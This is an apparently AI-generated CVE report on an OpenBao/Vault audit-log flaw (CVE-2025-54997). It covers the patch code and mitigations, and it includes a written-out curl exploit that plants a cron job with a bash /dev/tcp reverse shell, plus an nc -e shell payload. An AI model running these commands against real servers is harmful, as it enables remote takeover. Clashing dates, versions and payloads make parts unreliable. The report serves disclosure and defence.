CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2025-54997
CVSS 9.1|EPSS 0.12%

The Janitor's Key: Turning OpenBao Audit Logs into RCE

Alon Barad
Alon Barad
Software Engineer•August 9, 2025•6 min read
PoC AvailableNot in KEV

Executive Summary (TL;DR)

A high-privilege RCE vulnerability (CVSS 9.1) allows operators to turn the audit logging system into an arbitrary file write primitive. By pointing a 'file' audit device at a sensitive path (like `/etc/cron.d`) and injecting a malicious 'prefix', attackers can execute code as the Vault/OpenBao service user. The fix involves disabling API-based audit configuration entirely.

OpenBao and HashiCorp Vault, the literal Fort Knoxes of the DevOps world, suffered a catastrophic logic flaw in their audit subsystems. By abusing the ability to configure audit devices via API, privileged attackers could trick the system into writing malicious code directly to the host filesystem.

The Hook: Fort Knox's Back Door

We like to think of HashiCorp Vault and its open-source fork, OpenBao, as impenetrable black boxes. You put secrets in, you get secrets out, and nothing else happens. But security appliances suffer from a unique paradox: to be useful, they must be observable. They need to generate logs.

In the world of high-security compliance, audit logs are king. You need to know who accessed the database credentials at 3 AM. To facilitate this, OpenBao exposes the sys/audit API endpoint. This endpoint allows administrators to define where logs go. You can send them to a socket, a syslog daemon, or—crucially—a file on the local disk.

This feature was designed with flexibility in mind. You, the admin, define the file path. You, the admin, can even define a custom string prefix to tag the logs. It sounds innocent enough. It’s just logging, right? How dangerous can a text file be?

As it turns out, very. CVE-2025-54997 isn't a memory corruption bug or a buffer overflow. It is a logical failure to realize that if you let a user write arbitrary text to an arbitrary file, you have given them a loaded gun.

The Flaw: The Prefix Problem

The vulnerability relies on two specific configuration options available when enabling a file audit device via the API: file_path and prefix.

The file_path option tells OpenBao where to write the log file. The application historically assumed that if you had permissions to configure the audit backend, you were trusted enough not to point it at /etc/passwd or /bin/ls. That was the first mistake.

The second mistake was the prefix option. This allows an operator to prepend a custom string to every single log line. The intention was likely to help Splunk parsers distinguish between different audit streams. The reality is that it gave attackers a way to inject unstructured data into the file stream.

When you combine these, you get a classic primitive: Arbitrary File Write with Controlled Content.

The code didn't validate that the file_path was safe (i.e., inside a log directory). Nor did it sanitize the prefix to ensure it didn't contain newlines or shell metacharacters. It just took the user's input and started appending data to the filesystem.

The Code: Analysis of the Patch

The fix for this vulnerability is effectively a confession that the feature was too dangerous to exist in its current form. Instead of trying to build a complex blacklist of bad file paths (which is always bypassable), the maintainers decided to nuke the functionality from orbit.

In OpenBao PR #1634, the developers introduced two boolean flags in the server configuration (config.hcl):

  1. unsafe_allow_api_audit_creation: Defaulting to false. This kills the ability to create audit devices via the REST API entirely.
  2. allow_audit_log_prefixing: Defaulting to false. This specifically blocks the dangerous prefix parameter.

Here is the logic added to vault/logical_system.go. It's brutally simple:

// Loading the server configuration
conf := b.Core.rawConfig.Load().(*server.Config)
 
// Check 1: Is the API allowed to create audit devices?
if !conf.UnsafeAllowAPIAuditCreation {
    return handleError(fmt.Errorf("cannot enable audit device via API"))
}
 
// Check 2: Is the user trying to set a prefix?
if _, hasPrefix := options["prefix"]; hasPrefix && !conf.AllowAuditLogPrefixing {
    return handleError(fmt.Errorf("audit log prefixing is not allowed"))
}

Previously, this code would just pass the options map directly to the backend factory. Now, it acts as a gatekeeper. By moving audit configuration to the static config.hcl file (which requires root access to the host to edit), they enforce a higher privilege requirement for these dangerous actions.

The Exploit: Crontab Injection

Let's put on our black hats. We have a compromised Vault/OpenBao token with sys/audit permissions. We want a shell on the underlying server. Since most Vault instances run on Linux, cron is our best friend.

Here is the attack chain:

  1. Target Selection: We target /etc/cron.d/malicious. Files in this directory are automatically read by the system cron daemon to schedule tasks.
  2. Payload Construction: We need a valid cron entry. We will hide it inside the prefix field.

Our malicious payload looks like this: * * * * * root /usr/bin/nc -e /bin/sh 10.0.0.1 1337 #

  1. The API Call: We send a request to enable the audit device.
curl --header "X-Vault-Token: $ROOT_TOKEN" \
     --request POST \
     --data '{
       "type": "file", 
       "options": {
         "file_path": "/etc/cron.d/pwned", 
         "prefix": "\n* * * * * root bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\" #"
       }
     }' \
     http://127.0.0.1:8200/v1/sys/audit/exploit
  1. Trigger: We simply make any request to the Vault. vault read sys/health is enough. The system logs this request to /etc/cron.d/pwned. Because of our prefix, the file content starts with our cron job, followed by the JSON log data (commented out by the #).

  2. Execution: The cron daemon sees the new file, parses the line, and executes our reverse shell as root (or the Vault user, depending on permissions). Game over.

The Impact: Why This Matters

You might argue, "If I have a root token for Vault, I already own your secrets, so who cares about the underlying server?"

That's a dangerous misconception. Access to the data (secrets) is not the same as access to the infrastructure.

  1. Pivot Potential: With shell access to the host, I can pivot to other internal networks that the Vault server can reach but the API cannot. I can access AWS instance metadata credentials. I can dump the memory of the Vault process to steal the master key (unsealing key) if it's resident in RAM.
  2. Persistence: API tokens can be revoked. A rootkit installed in /usr/bin/ via this vulnerability persists even after you rotate every credential in the vault.
  3. Wormability: If you automate your Vault deployment, an attacker could use this foothold to infect the configuration management system (Ansible/Terraform) and spread to every other node in your cluster.

This vulnerability bridges the gap between "Application Administrator" and "System Administrator."

The Fix: Mitigation Strategies

If you are running OpenBao < 2.3.2 or Vault < 1.20.1, you are vulnerable. The patch doesn't just fix a bug; it changes the operational model.

Immediate Remediation: Upgrade to the patched versions. Once upgraded, the API endpoint for creating audit devices is disabled by default. If your deployment scripts rely on curl to set up audit logs, they will break. You need to refactor your deployment to define audit devices in the server's HCL configuration file.

Defense in Depth: Even with the patch, you should restrict the Vault/OpenBao service user. Why does the Vault user have write access to /etc/cron.d/? It shouldn't. Run Vault with a dedicated user, use chroot or containerization, and employ AppArmor/SELinux profiles that forbid writing to sensitive system paths. If the service couldn't write to /etc/cron.d, this exploit would be dead in the water.

Official Patches

OpenBaoPull Request #1634: Restrict API audit creation
HashiCorpHCSEC-2025-14 Advisory

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.12%
Top 35% most exploited

Affected Systems

OpenBao (versions < 2.3.2)HashiCorp Vault Community Edition (versions < 1.20.1)HashiCorp Vault Enterprise (versions < 1.20.1)

Affected Versions Detail

ProductAffected VersionsFixed Version
OpenBao
OpenBao
< 2.3.22.3.2
Vault Community Edition
HashiCorp
< 1.20.11.20.1
Vault Enterprise
HashiCorp
< 1.19.71.19.7
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork (API)
CVSS Score9.1 (Critical)
Privileges RequiredHigh (Audit Write)
ImpactRemote Code Execution (RCE)
Exploit StatusConceptual / Weaponizable

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Exploit Resources

Known Exploits & Detection

Internal ResearchExploit logic derived from patch analysis (reverse engineering configuration flags)

Vulnerability Timeline

Vulnerability Timeline

Patch released in OpenBao v2.3.2
2025-01-15
Patch released in HashiCorp Vault v1.20.1
2025-01-15

References & Sources

  • [1]OpenBao Changelog
  • [2]HashiCorp Security Discuss
Related Intelligence
CVE-2025-6000

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.